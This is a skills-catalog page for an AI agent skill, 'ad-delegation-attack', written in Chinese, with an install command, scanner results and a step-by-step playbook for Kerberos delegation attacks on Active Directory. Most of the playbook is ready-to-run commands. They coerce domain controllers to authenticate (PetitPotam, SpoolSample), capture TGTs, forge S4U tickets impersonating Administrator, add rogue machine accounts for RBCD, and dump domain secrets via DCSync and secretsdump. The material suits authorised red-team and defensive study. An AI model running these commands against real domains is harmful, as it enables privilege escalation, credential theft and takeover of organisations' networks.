skillZs
★ LIVE SKILL TAGS ★
>>> LIVE SKILLS INDEX <<<
* OPEN SOURCE *
NO LOGIN, NO TRACKING
※ REAL INSTALL DATA ※
← back to all skills
wgpsec/aboutsecurity49 installs

ad-delegation-attack

Kerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。

How do I install this agent skill?

npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-delegation-attack
view source ↗

Is this agent skill safe to install?

  • Gen Agent Trust Hubpass

    This skill is a technical guide for performing Kerberos delegation attacks in Active Directory, including enumeration, exploitation, and cleanup phases. It describes standard tools and procedures for red teaming operations.

  • Socketwarn

    4 alerts: gptSecurity

  • Snykpass

    Risk: LOW · No issues

What does this agent skill do?

Kerberos 委派攻击

触发条件

在以下场景使用本技能:

  • BloodHound 发现域内存在非约束/约束委派配置
  • 已控制配置了 SPN 的服务账号或机器账号
  • 对目标计算机对象拥有 GenericWrite/GenericAll/WriteDacl 权限
  • 需要通过委派实现权限提升或横向移动

前置要求

  • 有效的域凭据(明文/Hash/票据)
  • 已枚举委派配置(或准备枚举)
  • 工具: findDelegation.py, getST.py, rbcd.py, addcomputer.py, Rubeus

委派类型速查

类型关键标志/属性攻击方式
非约束委派TRUSTED_FOR_DELEGATION (UAC 524288)捕获访问者 TGT
约束委派 (有协议转换)msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATIONS4U2Self + S4U2Proxy
约束委派 (无协议转换)msDS-AllowedToDelegateTo需用户先认证或结合 RBCD
RBCDmsDS-AllowedToActOnBehalfOfOtherIdentity配置后 S4U 攻击

决策树

[开始] 需要利用 Kerberos 委派
    │
    ├─ 已知委派配置?
    │   ├─ 否 → Phase 1: 委派枚举
    │   └─ 是 → 判断类型
    │
    ├─ 非约束委派 (Unconstrained)
    │   ├─ 已控制该机器?
    │   │   ├─ 是 → Phase 2: 监听 TGT + 强制认证
    │   │   └─ 否 → 需先取得机器控制权
    │   └─ 捕获 DC TGT → DCSync / 横向移动
    │
    ├─ 约束委派 (Constrained)
    │   ├─ 有协议转换 (TrustedToAuthForDelegation)?
    │   │   ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
    │   │   └─ 否 → 需用户票据或结合 RBCD
    │   ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
    │   └─ 获取 ST → 访问目标服务
    │
    ├─ RBCD
    │   ├─ 对目标有写权限?
    │   │   ├─ 是 → Phase 4: RBCD 攻击
    │   │   └─ 否 → 寻找 ACL 路径
    │   ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
    │   └─ 配置 → S4U → 访问 → 清理
    │
    └─ 无委派可利用 → 检查 ACL,考虑其他路径

Phase 1: 委派枚举

目标: 发现域内所有委派配置

# findDelegation.py (推荐,一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>

输出示例:

AccountName   AccountType  DelegationType                      DelegationRightsTo
------------  -----------  ----------------------------------  --------------------------
DC01$         Computer     Unconstrained                       N/A
SVC_SQL       User         Constrained w/ Protocol Transition  MSSQLSvc/db01.domain.local
WEB01$        Computer     Constrained                         http/app01.domain.local

LDAP 过滤器

# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))

# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))

# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))

PowerView

# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}

# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

BloodHound Cypher

MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p

Phase 2: 非约束委派利用

前提: 已控制一台非 DC 的 TRUSTED_FOR_DELEGATION 机器

原理: 用户访问时 KDC 在 ST 中嵌入 TGT,服务器缓存到 LSASS。提取即可冒充。

→ references/unconstrained-delegation.md

2.1 监听 TGT

Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

2.2 强制认证触发

# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>

# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>

# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>

2.3 使用捕获的 TGT

# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt
# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'

Phase 3: 约束委派利用

前提: 控制约束委派服务账号/机器账号的凭据

→ references/constrained-delegation.md

3A: 有协议转换 — S4U2Self + S4U2Proxy

# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>

# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
# Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt

altservice 技巧

ST 中的 sname 未签名保护,可改写为同主机的其他服务:

# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
  -altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap

3B: 无协议转换

S4U2Self 票据不可转发,需额外手段:

# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
  -action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt

Phase 4: 基于资源的约束委派 (RBCD)

前提: 对目标有 GenericWrite/GenericAll/WriteDacl + 可创建或已有机器账号

→ references/rbcd-attack.md

4.1 前提检查

# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq
# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}

4.2 创建机器账号

addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

4.3 配置 RBCD

rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

4.4 S4U 攻击

getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt

4.5 清理

rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

常见问题排查

S4U 失败: KDC_ERR_BADOPTION

  1. 被模拟用户在 Protected Users 组 — 换一个用户
  2. 用户标记 "Account is sensitive and cannot be delegated" — 换用户
  3. 服务账号 SPN 缺失 — 确认已注册
  4. 无协议转换票据不可转发 — 结合 RBCD

无法创建机器账号

  1. 检查 ms-DS-MachineAccountQuota (默认 10)
  2. 配额耗尽 → 使用已控制的机器账号
  3. 查找域内已有 SPN 的用户账号

RBCD 配置成功但 S4U 失败

  1. 确认机器账号有 SPN (HOST/YOURPC 自动注册)
  2. rbcd.py -action read 验证属性写入
  3. 确认 DNS 解析正确 — SPN 必须与 DNS 匹配

工具参考

工具用途平台
findDelegation.py枚举所有委派配置Linux
getST.pyS4U 攻击获取服务票据Linux
rbcd.py配置/读取/清除 RBCDLinux
addcomputer.py创建/删除机器账号Linux
RubeusKerberos 票据操作Windows
Coercer强制认证 (集成多种方法)Linux
PetitPotamMS-EFSRPC 强制认证跨平台

深入参考

Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.

<a href="https://skillzs.dev/skills/wgpsec/aboutsecurity/ad-delegation-attack">View ad-delegation-attack on skillZs</a>